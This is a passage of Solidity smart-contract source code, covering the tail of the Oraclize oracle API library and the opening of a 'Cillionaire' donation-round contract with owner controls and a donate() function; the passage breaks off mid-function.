if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity 0.4.16;
contract owned {
address public owner;
event ContractOwnershipTransferred(address newOwner);
function owned() { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setContractOwner(address newOwner) external onlyOwner {
owner = newOwner;
ContractOwnershipTransferred(newOwner);
}
}
contract mortal is owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
contract Cillionaire is mortal, usingOraclize {
enum State { ENDED, DONATE }
uint public constant maxFeePercentage = 10;
uint public constant retainBalance = 0.01 ether;
uint public constant oraclizeMinCallbackGas = 210000;
uint public constant oraclizeMinCallbackGasPrice = 20000000000 wei;
address public beneficiary;
address[] public donors;
State public state;
uint public startTimestamp;
uint public endTimestamp;
uint public maxDonors;
uint public duration;
uint public donation;
uint public fee;
uint public donationSum;
uint public numDonors;
uint public nextRoundMaxDonors;
uint public nextRoundDuration;
uint public nextRoundDonation;
uint public nextRoundFee;
uint public oraclizeCallbackGas;
event NewRoundStarted(address _beneficiary, uint _startTimestamp, uint _endTimestamp, uint _maxDonors, uint _duration, uint _donation, uint _fee);
event NewDonor(address _donor, uint _donationAfterFee, uint _fee);
event RoundEnded(address _beneficiary, uint _donationSum);
event RandomNumber(uint _randomNumber);
modifier onlyState(State _state) {
require(state == _state);
_;
}
modifier onlyOraclize() {
require(msg.sender == oraclize_cbAddress());
_;
}
function Cillionaire() {
oraclize_setProof(proofType_Ledger);
state = State.ENDED;
oraclizeCallbackGas = oraclizeMinCallbackGas;
setOraclizeCallbackGasPrice(oraclizeMinCallbackGasPrice);
nextRoundMaxDonors = 100000;
nextRoundDuration = 2 days;
nextRoundDonation = 0.01 ether;
nextRoundFee = 0.0003 ether;
startRound(0x632485f482cf86b098fd4e75f6b99f7a04d3ee71);
}
function startRound(address _beneficiary) internal onlyState(State.ENDED) {
numDonors = 0;
donationSum = 0;
beneficiary = _beneficiary;
maxDonors = nextRoundMaxDonors;
duration = nextRoundDuration;
donation = nextRoundDonation;
fee = nextRoundFee;
startTimestamp = block.timestamp;
endTimestamp = startTimestamp + duration;
state = State.DONATE;
NewRoundStarted(beneficiary, startTimestamp, endTimestamp, maxDonors, duration, donation, fee);
}
function donate() external payable onlyState(State.DONATE) {
require(msg.value == donation);
uint amountAfterFee = msg.value - fee;
donationSum += amountAfterFee;
if (numDonors == donors.length) {
donors.length += 1;
}
donors[numDonors++] = msg.sender;
NewDonor(msg.sender, amountAfterFee, fee);
if ((block.timestamp >= endTimestamp) || (donors.length >= maxDonors)) {
endRoundAndStartNextRound();
}
require(this.balance >= amountAfterFee);
if (!beneficiary.send(amountAfterFee)) {
if (state != State.ENDED) {
endRoundAndStartNextRound();
}
msg.sender.send(msg.value);
}
}
function endRoundAndStartNextRound() internal {
